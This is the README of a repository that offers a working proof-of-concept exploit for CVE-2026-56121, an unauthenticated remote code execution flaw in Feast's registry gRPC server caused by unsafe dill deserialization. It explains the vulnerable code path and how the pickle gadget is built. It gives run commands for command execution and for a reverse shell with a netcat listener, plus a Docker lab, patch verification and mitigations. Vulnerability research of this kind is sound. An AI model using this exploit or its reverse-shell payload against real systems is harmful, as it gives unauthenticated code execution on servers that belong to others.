
Proof-of-concept exploit for CVE-2026-56121, an unauthenticated RCE in Feast's registry gRPC server via unsafe dill deserialization. Includes a Dockerized vulnerable lab for testing and validation.
Unauthenticated remote code execution in Feast
(< 0.63.0) via unsafe dill.loads deserialization in the registry gRPC server.
This repository contains a self-contained proof-of-concept exploit and a Dockerized
vulnerable lab to validate it.
| CVE | CVE-2026-56121 |
| Product | Feast (feature store) — registry gRPC server |
| Affected | feast < 0.63.0 |
| Fixed in | 0.63.0 (commit 835cda8) |
| Class | CWE-502 — Deserialization of Untrusted Data |
| Impact | Unauthenticated RCE (default config is auth: no_auth) |
| Default port | 6570/tcp (gRPC registry server) |
⚠️ For authorized security testing and education only. Only run this against the bundled Docker lab or systems you own / are explicitly permitted to test. Unauthorized use against third-party systems is illegal.
The Feast registry gRPC handler RegistryServer.ApplyFeatureView deserializes the
incoming feature-view spec by calling OnDemandFeatureView.from_proto(...) before
it runs any authorization check. For a pandas-mode On-Demand Feature View with a
non-empty UDF body, that path reaches PandasTransformation.from_proto, which runs
dill.loads(user_defined_function.body) on attacker-controlled bytes. Because dill
executes pickle opcodes, an object with a crafted __reduce__ runs arbitrary Python in
the server process. The shipped configuration is auth: no_auth and the gRPC server has
no authentication interceptor, so anyone who can reach port 6570 gets code execution.
See ANALYSIS.md for the full code-path walkthrough and the patch diff.
.
├── exploit/
│ ├── exploit.py # full PoC client: --check / --cmd / --reverse-shell
│ ├── poc.py # minimal single-file PoC, same primitive in ~90 lines
│ ├── build_protos.sh # (re)generate the protobuf stubs from [email protected]
│ └── protos/ # committed generated *_pb2 stubs (run PoC without protoc)
├── lab/
│ ├── Dockerfile # feast==0.62.0 by default; FEAST_VERSION selects the release
│ ├── docker-compose.yml
│ ├── entrypoint.sh # feast serve_registry --port 6570
│ └── feature_repo/ # minimal Feast project (auth: no_auth)
├── requirements.txt # exploit deps: grpcio, protobuf
├── ANALYSIS.md
└── LICENSE
cd lab
docker compose up --build -d
# registry gRPC server now listening on localhost:6570
docker compose logs -f # wait for "Grpc server started"
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
Safe check (non-destructive) — proves the server deserializes attacker data by
writing a marker file in /tmp and returning host info, without running a shell command:
python exploit/exploit.py --target 127.0.0.1:6570 --check
Run a command and see its output (default mode):
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"
Interactive reverse shell — start your listener first, then deliver the payload:
# terminal A
nc -lvnp 4444
# terminal B (use an address the container can reach back to)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444
The --cmd and --check modes spin up a short-lived TCP listener in the exploit itself
and print whatever the target sends back — no external tooling required in the target image.
A stripped-down equivalent is in exploit/poc.py, if you want the whole primitive in one
readable file:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"
Callback note.
--check,--cmdandpoc.pyrely on the target connecting back to a listener on your machine. Running from the host works out of the box. If you run the exploit from inside a container, put it on the lab's network (docker run --network lab_default ...), otherwise the payload executes but the reply never arrives and the tool reports "no callback".
The stubs in exploit/protos/ are committed, so you do not need protoc. If you do
regenerate them, use the script — it pins grpcio-tools on purpose:
./exploit/build_protos.sh # runs in a pinned python:3.11 container
protoc stamps a gencode version into every _pb2.py, and protobuf refuses to load a
stub whose gencode is newer than the installed runtime. The pin keeps the stubs loading
on protobuf >= 5.29, < 8 (verified against 5.29.6, 6.33.6 and 7.36.0).
Rebuild the lab against the fixed release and re-run the exploit:
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check
Expected on 0.63.0: [-] No callback received. and no marker file on the target —
the handler passes skip_udf=True, so the UDF body is never deserialized before the
auth check. Switch back to the vulnerable lab with docker compose down && docker compose up --build -d.
cd lab && docker compose down -v
ApplyFeatureViewRequest whose on_demand_feature_view spec has
mode = "pandas" and a feature_transformation.user_defined_function
(UserDefinedFunctionV2) with:
body_text = non-empty (required to reach the pandas deserialization branch),body = a pickle of an object whose __reduce__ calls exec(<python>).feast.registry.RegistryServer/ApplyFeatureView.dill.loads(body) during from_proto — before the auth check —
executing the payload. The RPC itself may then error out; the code has already run.The exploit crafts the gadget with the stdlib pickle module (the server's dill.loads
happily decodes plain pickle opcodes), so the attacker side only needs grpcio + protobuf.
>= 0.63.0. The fix threads a skip_udf=True flag through
*.from_proto, so the registry server validates permissions on spec metadata without
deserializing the UDF body.6570) to untrusted networks.auth: kubernetes / auth: oidc) instead of the default no_auth.